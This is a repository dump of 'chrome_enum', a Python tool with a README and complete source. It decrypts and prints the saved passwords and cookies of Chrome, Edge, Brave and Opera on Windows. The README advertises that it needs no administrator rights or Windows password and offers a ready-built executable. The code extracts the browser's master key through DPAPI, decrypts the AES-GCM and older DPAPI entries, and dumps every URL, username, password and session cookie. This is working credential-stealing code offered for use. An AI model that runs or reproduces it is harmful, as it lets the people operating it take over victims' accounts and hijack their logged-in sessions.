├── .gitignore ├── requirements.txt ├── requirements-builder.txt ├── README.md ├── LICENSE └── chrome_enum.py /.gitignore: -------------------------------------------------------------------------------- 1 | /chrome_enum.spec 2 | /build/ 3 | /dist/ 4 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/henryreed/chrome_enum/HEAD/requirements.txt -------------------------------------------------------------------------------- /requirements-builder.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/henryreed/chrome_enum/HEAD/requirements-builder.txt -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Chrome Enum 2 | "Anyone who stores a password in their browser deserves what they get." --A dear friend of mine. 3 | 4 | Decrypts and dumps Chrome-based browser cookies and passwords in Microsoft Windows. 5 | 6 | ## Features 7 | * Does not require administrator privileges 8 | * Does not require Windows password 9 | * Supports both crypto methods used before and after Chrome V80 10 | * Program will not fail as a result of a database lock by Chrome; i.e., you may launch this program while Chrome is running 11 | * Data is in a list of lists, allowing for easy integration with other software as a library 12 | 13 | ## Supported Browsers 14 | * Opera 15 | * Brave Browser 16 | * Chrome-based version of Microsoft Edge (currently, unable to decrypt cookies, but passwords work) 17 | * Google Chrome 18 | 19 | ## Installation 20 | You may use the chrome_enum.exe file in the dist directory, no installation required. The software was tested and bundled in Python 3.10.2. PyInstaller version 4.10 was used to bundle the script into an executable binary. 21 | ``` 22 | .\dist\chrome_enum.exe 23 | ``` 24 | If you wish, you may run the script directly. It is recommended to use a virtual environment: 25 | ``` 26 | PS > python -m venv venv 27 | PS > .\venv\Scripts\Activate.ps1 28 | (venv) PS > pip install -r requirements.txt 29 | (venv) PS > python chrome_enum.py 30 | ``` 31 | Installation without a virtual environment (NOT recommended): 32 | ``` 33 | PS > pip install -r requirements.txt 34 | PS > python chrome_enum.py 35 | ``` 36 | ### Planned features 37 | * Windows support for other Chrome-based browsers 38 | * Fix Microsoft Edge support 39 | * Support for Linux 40 | * Support for macOS -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Creative Commons Legal Code 2 | 3 | CC0 1.0 Universal 4 | 5 | CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE 6 | LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN 7 | ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS 8 | INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES 9 | REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS 10 | PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM 11 | THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED 12 | HEREUNDER. 13 | 14 | Statement of Purpose 15 | 16 | The laws of most jurisdictions throughout the world automatically confer 17 | exclusive Copyright and Related Rights (defined below) upon the creator 18 | and subsequent owner(s) (each and all, an "owner") of an original work of 19 | authorship and/or a database (each, a "Work"). 20 | 21 | Certain owners wish to permanently relinquish those rights to a Work for 22 | the purpose of contributing to a commons of creative, cultural and 23 | scientific works ("Commons") that the public can reliably and without fear 24 | of later claims of infringement build upon, modify, incorporate in other 25 | works, reuse and redistribute as freely as possible in any form whatsoever 26 | and for any purposes, including without limitation commercial purposes. 27 | These owners may contribute to the Commons to promote the ideal of a free 28 | culture and the further production of creative, cultural and scientific 29 | works, or to gain reputation or greater distribution for their Work in 30 | part through the use and efforts of others. 31 | 32 | For these and/or other purposes and motivations, and without any 33 | expectation of additional consideration or compensation, the person 34 | associating CC0 with a Work (the "Affirmer"), to the extent that he or she 35 | is an owner of Copyright and Related Rights in the Work, voluntarily 36 | elects to apply CC0 to the Work and publicly distribute the Work under its 37 | terms, with knowledge of his or her Copyright and Related Rights in the 38 | Work and the meaning and intended legal effect of CC0 on those rights. 39 | 40 | 1. Copyright and Related Rights. A Work made available under CC0 may be 41 | protected by copyright and related or neighboring rights ("Copyright and 42 | Related Rights"). Copyright and Related Rights include, but are not 43 | limited to, the following: 44 | 45 | i. the right to reproduce, adapt, distribute, perform, display, 46 | communicate, and translate a Work; 47 | ii. moral rights retained by the original author(s) and/or performer(s); 48 | iii. publicity and privacy rights pertaining to a person's image or 49 | likeness depicted in a Work; 50 | iv. rights protecting against unfair competition in regards to a Work, 51 | subject to the limitations in paragraph 4(a), below; 52 | v. rights protecting the extraction, dissemination, use and reuse of data 53 | in a Work; 54 | vi. database rights (such as those arising under Directive 96/9/EC of the 55 | European Parliament and of the Council of 11 March 1996 on the legal 56 | protection of databases, and under any national implementation 57 | thereof, including any amended or successor version of such 58 | directive); and 59 | vii. other similar, equivalent or corresponding rights throughout the 60 | world based on applicable law or treaty, and any national 61 | implementations thereof. 62 | 63 | 2. Waiver. To the greatest extent permitted by, but not in contravention 64 | of, applicable law, Affirmer hereby overtly, fully, permanently, 65 | irrevocably and unconditionally waives, abandons, and surrenders all of 66 | Affirmer's Copyright and Related Rights and associated claims and causes 67 | of action, whether now known or unknown (including existing as well as 68 | future claims and causes of action), in the Work (i) in all territories 69 | worldwide, (ii) for the maximum duration provided by applicable law or 70 | treaty (including future time extensions), (iii) in any current or future 71 | medium and for any number of copies, and (iv) for any purpose whatsoever, 72 | including without limitation commercial, advertising or promotional 73 | purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each 74 | member of the public at large and to the detriment of Affirmer's heirs and 75 | successors, fully intending that such Waiver shall not be subject to 76 | revocation, rescission, cancellation, termination, or any other legal or 77 | equitable action to disrupt the quiet enjoyment of the Work by the public 78 | as contemplated by Affirmer's express Statement of Purpose. 79 | 80 | 3. Public License Fallback. Should any part of the Waiver for any reason 81 | be judged legally invalid or ineffective under applicable law, then the 82 | Waiver shall be preserved to the maximum extent permitted taking into 83 | account Affirmer's express Statement of Purpose. In addition, to the 84 | extent the Waiver is so judged Affirmer hereby grants to each affected 85 | person a royalty-free, non transferable, non sublicensable, non exclusive, 86 | irrevocable and unconditional license to exercise Affirmer's Copyright and 87 | Related Rights in the Work (i) in all territories worldwide, (ii) for the 88 | maximum duration provided by applicable law or treaty (including future 89 | time extensions), (iii) in any current or future medium and for any number 90 | of copies, and (iv) for any purpose whatsoever, including without 91 | limitation commercial, advertising or promotional purposes (the 92 | "License"). The License shall be deemed effective as of the date CC0 was 93 | applied by Affirmer to the Work. Should any part of the License for any 94 | reason be judged legally invalid or ineffective under applicable law, such 95 | partial invalidity or ineffectiveness shall not invalidate the remainder 96 | of the License, and in such case Affirmer hereby affirms that he or she 97 | will not (i) exercise any of his or her remaining Copyright and Related 98 | Rights in the Work or (ii) assert any associated claims and causes of 99 | action with respect to the Work, in either case contrary to Affirmer's 100 | express Statement of Purpose. 101 | 102 | 4. Limitations and Disclaimers. 103 | 104 | a. No trademark or patent rights held by Affirmer are waived, abandoned, 105 | surrendered, licensed or otherwise affected by this document. 106 | b. Affirmer offers the Work as-is and makes no representations or 107 | warranties of any kind concerning the Work, express, implied, 108 | statutory or otherwise, including without limitation warranties of 109 | title, merchantability, fitness for a particular purpose, non 110 | infringement, or the absence of latent or other defects, accuracy, or 111 | the present or absence of errors, whether or not discoverable, all to 112 | the greatest extent permissible under applicable law. 113 | c. Affirmer disclaims responsibility for clearing rights of other persons 114 | that may apply to the Work or any use thereof, including without 115 | limitation any person's Copyright and Related Rights in the Work. 116 | Further, Affirmer disclaims responsibility for obtaining any necessary 117 | consents, permissions or other rights required for any use of the 118 | Work. 119 | d. Affirmer understands and acknowledges that Creative Commons is not a 120 | party to this document and has no duty or obligation with respect to 121 | this CC0 or use of the Work. 122 | 123 | For more information, please see 124 | 125 | -------------------------------------------------------------------------------- /chrome_enum.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Creative Commons Legal Code 3 | # 4 | # CC0 1.0 Universal 5 | # 6 | # CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE 7 | # LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN 8 | # ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS 9 | # INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES 10 | # REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS 11 | # PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM 12 | # THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED 13 | # HEREUNDER. 14 | # 15 | # Statement of Purpose 16 | # 17 | # The laws of most jurisdictions throughout the world automatically confer 18 | # exclusive Copyright and Related Rights (defined below) upon the creator 19 | # and subsequent owner(s) (each and all, an "owner") of an original work of 20 | # authorship and/or a database (each, a "Work"). 21 | # 22 | # Certain owners wish to permanently relinquish those rights to a Work for 23 | # the purpose of contributing to a commons of creative, cultural and 24 | # scientific works ("Commons") that the public can reliably and without fear 25 | # of later claims of infringement build upon, modify, incorporate in other 26 | # works, reuse and redistribute as freely as possible in any form whatsoever 27 | # and for any purposes, including without limitation commercial purposes. 28 | # These owners may contribute to the Commons to promote the ideal of a free 29 | # culture and the further production of creative, cultural and scientific 30 | # works, or to gain reputation or greater distribution for their Work in 31 | # part through the use and efforts of others. 32 | # 33 | # For these and/or other purposes and motivations, and without any 34 | # expectation of additional consideration or compensation, the person 35 | # associating CC0 with a Work (the "Affirmer"), to the extent that he or she 36 | # is an owner of Copyright and Related Rights in the Work, voluntarily 37 | # elects to apply CC0 to the Work and publicly distribute the Work under its 38 | # terms, with knowledge of his or her Copyright and Related Rights in the 39 | # Work and the meaning and intended legal effect of CC0 on those rights. 40 | # 41 | # 1. Copyright and Related Rights. A Work made available under CC0 may be 42 | # protected by copyright and related or neighboring rights ("Copyright and 43 | # Related Rights"). Copyright and Related Rights include, but are not 44 | # limited to, the following: 45 | # 46 | # i. the right to reproduce, adapt, distribute, perform, display, 47 | # communicate, and translate a Work; 48 | # ii. moral rights retained by the original author(s) and/or performer(s); 49 | # iii. publicity and privacy rights pertaining to a person's image or 50 | # likeness depicted in a Work; 51 | # iv. rights protecting against unfair competition in regards to a Work, 52 | # subject to the limitations in paragraph 4(a), below; 53 | # v. rights protecting the extraction, dissemination, use and reuse of data 54 | # in a Work; 55 | # vi. database rights (such as those arising under Directive 96/9/EC of the 56 | # European Parliament and of the Council of 11 March 1996 on the legal 57 | # protection of databases, and under any national implementation 58 | # thereof, including any amended or successor version of such 59 | # directive); and 60 | # vii. other similar, equivalent or corresponding rights throughout the 61 | # world based on applicable law or treaty, and any national 62 | # implementations thereof. 63 | # 64 | # 2. Waiver. To the greatest extent permitted by, but not in contravention 65 | # of, applicable law, Affirmer hereby overtly, fully, permanently, 66 | # irrevocably and unconditionally waives, abandons, and surrenders all of 67 | # Affirmer's Copyright and Related Rights and associated claims and causes 68 | # of action, whether now known or unknown (including existing as well as 69 | # future claims and causes of action), in the Work (i) in all territories 70 | # worldwide, (ii) for the maximum duration provided by applicable law or 71 | # treaty (including future time extensions), (iii) in any current or future 72 | # medium and for any number of copies, and (iv) for any purpose whatsoever, 73 | # including without limitation commercial, advertising or promotional 74 | # purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each 75 | # member of the public at large and to the detriment of Affirmer's heirs and 76 | # successors, fully intending that such Waiver shall not be subject to 77 | # revocation, rescission, cancellation, termination, or any other legal or 78 | # equitable action to disrupt the quiet enjoyment of the Work by the public 79 | # as contemplated by Affirmer's express Statement of Purpose. 80 | # 81 | # 3. Public License Fallback. Should any part of the Waiver for any reason 82 | # be judged legally invalid or ineffective under applicable law, then the 83 | # Waiver shall be preserved to the maximum extent permitted taking into 84 | # account Affirmer's express Statement of Purpose. In addition, to the 85 | # extent the Waiver is so judged Affirmer hereby grants to each affected 86 | # person a royalty-free, non transferable, non sublicensable, non exclusive, 87 | # irrevocable and unconditional license to exercise Affirmer's Copyright and 88 | # Related Rights in the Work (i) in all territories worldwide, (ii) for the 89 | # maximum duration provided by applicable law or treaty (including future 90 | # time extensions), (iii) in any current or future medium and for any number 91 | # of copies, and (iv) for any purpose whatsoever, including without 92 | # limitation commercial, advertising or promotional purposes (the 93 | # "License"). The License shall be deemed effective as of the date CC0 was 94 | # applied by Affirmer to the Work. Should any part of the License for any 95 | # reason be judged legally invalid or ineffective under applicable law, such 96 | # partial invalidity or ineffectiveness shall not invalidate the remainder 97 | # of the License, and in such case Affirmer hereby affirms that he or she 98 | # will not (i) exercise any of his or her remaining Copyright and Related 99 | # Rights in the Work or (ii) assert any associated claims and causes of 100 | # action with respect to the Work, in either case contrary to Affirmer's 101 | # express Statement of Purpose. 102 | # 103 | # 4. Limitations and Disclaimers. 104 | # 105 | # a. No trademark or patent rights held by Affirmer are waived, abandoned, 106 | # surrendered, licensed or otherwise affected by this document. 107 | # b. Affirmer offers the Work as-is and makes no representations or 108 | # warranties of any kind concerning the Work, express, implied, 109 | # statutory or otherwise, including without limitation warranties of 110 | # title, merchantability, fitness for a particular purpose, non 111 | # infringement, or the absence of latent or other defects, accuracy, or 112 | # the present or absence of errors, whether or not discoverable, all to 113 | # the greatest extent permissible under applicable law. 114 | # c. Affirmer disclaims responsibility for clearing rights of other persons 115 | # that may apply to the Work or any use thereof, including without 116 | # limitation any person's Copyright and Related Rights in the Work. 117 | # Further, Affirmer disclaims responsibility for obtaining any necessary 118 | # consents, permissions or other rights required for any use of the 119 | # Work. 120 | # d. Affirmer understands and acknowledges that Creative Commons is not a 121 | # party to this document and has no duty or obligation with respect to 122 | # this CC0 or use of the Work. 123 | # 124 | # For more information, please see 125 | # 126 | 127 | import base64 128 | import json 129 | import os 130 | import random 131 | import shutil 132 | import sqlite3 133 | import string 134 | import sys 135 | import argparse 136 | from platform import system 137 | 138 | import win32crypt 139 | from Cryptodome.Cipher import AES 140 | 141 | 142 | class ChromeEnumWindows: 143 | """Enumerates Chrome-based browser data to allow for encryption-bypassed cookie and password pilfering""" 144 | CHROME_DIRS = ['AppData\\Local\\Google\\Chrome\\User Data\\', 145 | 'AppData\\Local\\Microsoft\\Edge\\User Data\\', 146 | 'AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\', 147 | 'AppData\\Roaming\\Opera Software\\Opera Stable\\'] 148 | COOKIES_DIRS = ['Network\\Cookies', 149 | 'Default\\Cookies', 150 | 'Default\\Network\\Cookies'] 151 | PASSWORD_DIRS = ['Login Data', 152 | 'Default\\Login Data'] 153 | 154 | def __init__(self): 155 | self.name = 'Chrome Enum for Windows' 156 | self.version = 'V1.2.2' 157 | user_data_paths = [] 158 | if system() != "Windows": 159 | raise NotImplementedError(system() + " is not supported in this class.") 160 | 161 | for chrome_dir in self.CHROME_DIRS: 162 | user_data_paths.append(os.path.expanduser('~\\' + chrome_dir)) 163 | 164 | base_dir_list: list = self.__get_base_dir(user_data_paths) 165 | self.dir_and_key = {} 166 | for base_dir in base_dir_list: 167 | self.dir_and_key[base_dir] = self.__key_extract(base_dir) 168 | 169 | @staticmethod 170 | def __get_base_dir(user_data_paths) -> list: 171 | base_dir = [] 172 | for possible_path in user_data_paths: 173 | if os.path.exists(possible_path): 174 | base_dir.append(possible_path) 175 | 176 | if not base_dir: 177 | raise FileNotFoundError('Unable to find Chrome\'s "User Data" directory. Paths attempted: ' 178 | + str(user_data_paths)) 179 | return base_dir 180 | 181 | @staticmethod 182 | def __key_extract(base_dir) -> bytes: 183 | """Extracts AES key for the new crypto method introduced in Google Chrome V80.""" 184 | with open(os.path.join(base_dir + 'Local State'), 'rb') as key_file_raw: 185 | key_file_json = json.loads(key_file_raw.read()) 186 | key_base64 = key_file_json["os_crypt"]["encrypted_key"] 187 | key_protected = base64.b64decode(key_base64)[5:] # [5:] removes header 188 | return win32crypt.CryptUnprotectData(key_protected, None, None, None, 0)[1] # Removing Windows' key protection 189 | 190 | @staticmethod 191 | def __decrypter_old(data: bytes) -> bytes: 192 | """Decrypts Chrome-based browser data encrypted with the old method before V80. 193 | 194 | :param data: Encrypted data 195 | :return: Decrypted data 196 | """ 197 | try: 198 | return win32crypt.CryptUnprotectData(data, None, None, None, 0)[1] 199 | except Exception as ex: 200 | print("Decryption failed. Encrypted data: ", file=sys.stderr) 201 | print(data, file=sys.stderr) 202 | print("Exception: ", file=sys.stderr) 203 | print(ex, file=sys.stderr) 204 | 205 | @staticmethod 206 | def __decrypter_aes(data: bytes, key: bytes) -> bytes: 207 | """Decrypts Chrome-based browser data encrypted with the new AES method introduced in V80. 208 | 209 | :param data: Encrypted data 210 | :return: Decrypted data 211 | """ 212 | iv = data[3:15] # The first three characters declare that this is "v10", meaning the new AES crypto. 213 | cipher = AES.new(key, AES.MODE_GCM, iv) 214 | try: 215 | return cipher.decrypt(data[15:])[:-16] # Last 16 characters are extraneous, therefore removed 216 | except Exception as ex: 217 | print("Decryption failed. Encrypted data: ", file=sys.stderr) 218 | print(data, file=sys.stderr) 219 | print("Exception: ", file=sys.stderr) 220 | print(ex, file=sys.stderr) 221 | 222 | def __decrypter(self, data: bytes, key: bytes) -> bytes: 223 | """Determines cryptography method and returns decrypted text; raises ValueError if crypto is unrecognized. 224 | 225 | :param data: Encrypted data; cookies and passwords are encrypted by default. 226 | :return: Decrypted data. 227 | """ 228 | if data[:3] == b'v10': 229 | return self.__decrypter_aes(data, key) 230 | elif data[:4] == b'\x01\0\0\0': 231 | return self.__decrypter_old(data) 232 | else: 233 | raise ValueError("Decryption type unknown. Please report this error. Encrypted data: " + str(data)) 234 | 235 | def __file_and_key(self, file_list: list): 236 | """Returns a dictionary of files matched with corresponding key""" 237 | file_and_key = dict() 238 | for base_dir in self.dir_and_key.keys(): 239 | for appended_dir in file_list: 240 | if os.path.isfile(os.path.join(base_dir, appended_dir)): 241 | file_and_key[os.path.join(base_dir, appended_dir)] = self.dir_and_key[base_dir] 242 | return file_and_key 243 | 244 | def password(self) -> dict: 245 | """Returns a dictionary of decrypted passwords. 246 | 247 | Dictionary format: 248 | { 249 | 'C:\\path\\to\\database': 250 | [ 251 | ['url', 'username', 'password], 252 | ['url', 'username', 'password], 253 | ... 254 | ['url', 'username', 'password] 255 | ] 256 | } 257 | """ 258 | password_dir_and_key = self.__file_and_key(self.PASSWORD_DIRS) 259 | if not password_dir_and_key: 260 | print("No passwords found.", file=sys.stderr) 261 | else: 262 | return {password_file: self.__individual_password(password_file, password_dir_and_key[password_file]) 263 | for password_file in password_dir_and_key} 264 | 265 | def __individual_password(self, database_file, key) -> list: 266 | """Extracts and decrypts passwords saved in Google Chrome. 267 | 268 | :param database_file: Absolute location of a password SQLite 3 database file 269 | :param key: Key for AES-encrypted entries 270 | :return: A list of lists of password entries. Each entry contains the URL, username and password, respectively. 271 | """ 272 | temp_db = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) 273 | shutil.copy2(database_file, temp_db) # Copying to avoid lock issues 274 | database = sqlite3.connect(temp_db) 275 | cursor = database.cursor() 276 | cursor.execute("SELECT action_url, username_value, password_value FROM logins") 277 | password_list = list() 278 | for row in cursor.fetchall(): 279 | password_list.append([row[0], row[1], self.__decrypter(row[2], key)]) 280 | database.close() 281 | try: 282 | os.remove(temp_db) 283 | except Exception as ex: 284 | if os.path.exists(temp_db): 285 | print(ex, file=sys.stderr) 286 | return password_list 287 | 288 | def cookies(self) -> dict: 289 | """ Returns dict of decrypted cookies. 290 | 291 | Dictionary format: 292 | { 293 | 'C:\\path\\to\\database': 294 | ( 295 | ('creation_utc', 'top_frame_site_key', ..., 'is_same_party'), 296 | [ 297 | [row-entry-1, row-entry-2, ..., row-entry-n], 298 | [row-entry-1, row-entry-2, ..., row-entry-n], 299 | ... 300 | [row-entry-1, row-entry-2, ..., row-entry-n] 301 | ] 302 | ) 303 | } 304 | """ 305 | cookies_dir_and_key = self.__file_and_key(self.COOKIES_DIRS) 306 | if not cookies_dir_and_key: 307 | print("No cookies found.", file=sys.stderr) 308 | else: 309 | return {cookies_file: self.__individual_cookies(cookies_file, cookies_dir_and_key[cookies_file]) 310 | for cookies_file in cookies_dir_and_key} 311 | 312 | def __individual_cookies(self, database_file, key) -> tuple[tuple, list]: 313 | """Extracts and decrypts cookies saved in Chrome-based browsers given a base directory. 314 | 315 | The returned tuple contains the entire database, except encrypted_value is decrypted. 316 | 317 | :param database_file: Absolute location of a cookie SQLite 3 database file 318 | :param key: Key for AES-encrypted entries 319 | :return: A tuple containing a tuple of column names and a nested list of the decrypted cookie database 320 | """ 321 | filename = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) 322 | shutil.copy2(database_file, filename) # Copying to avoid lock issues 323 | database = sqlite3.connect(filename) 324 | database.text_factory = bytes # Python arbitrarily interprets BLOB fields as str and crashes everything, 325 | # so this is the workaround. 326 | cursor = database.cursor() 327 | cursor.execute("SELECT * FROM cookies") 328 | decrypted_database = list() 329 | columns = [fields[0] for fields in cursor.description] 330 | for row in cursor.fetchall(): 331 | row = list(row) 332 | try: 333 | row[columns.index("encrypted_value")] = self.__decrypter(row[columns.index("encrypted_value")], key) 334 | except ValueError: 335 | print("Decryption type unknown. File attempted to decrypt: " + database_file + 336 | ". Please report this error", ) 337 | decrypted_database.append(row) 338 | database.close() 339 | try: 340 | os.remove(filename) 341 | except Exception as ex: 342 | if os.path.exists(filename): 343 | print(ex, file=sys.stderr) 344 | 345 | columns[columns.index("encrypted_value")] = "decrypted_value" 346 | 347 | return tuple(columns), decrypted_database # Returning the columns as a tuple as columns should be immutable 348 | 349 | 350 | if __name__ == "__main__": 351 | c = ChromeEnumWindows() 352 | print(c.name) 353 | print(c.version) 354 | print("Dumping passwords...") 355 | passwords = c.password() 356 | for password_database in passwords.keys(): 357 | print(password_database) 358 | print(passwords[password_database]) 359 | print() 360 | print("Dumping cookies...") 361 | cookies = c.cookies() 362 | for cookie_database in cookies.keys(): 363 | print(cookie_database) 364 | print(cookies[cookie_database][0]) 365 | for cookie_entry in cookies[cookie_database][1]: 366 | print(cookie_entry) 367 | --------------------------------------------------------------------------------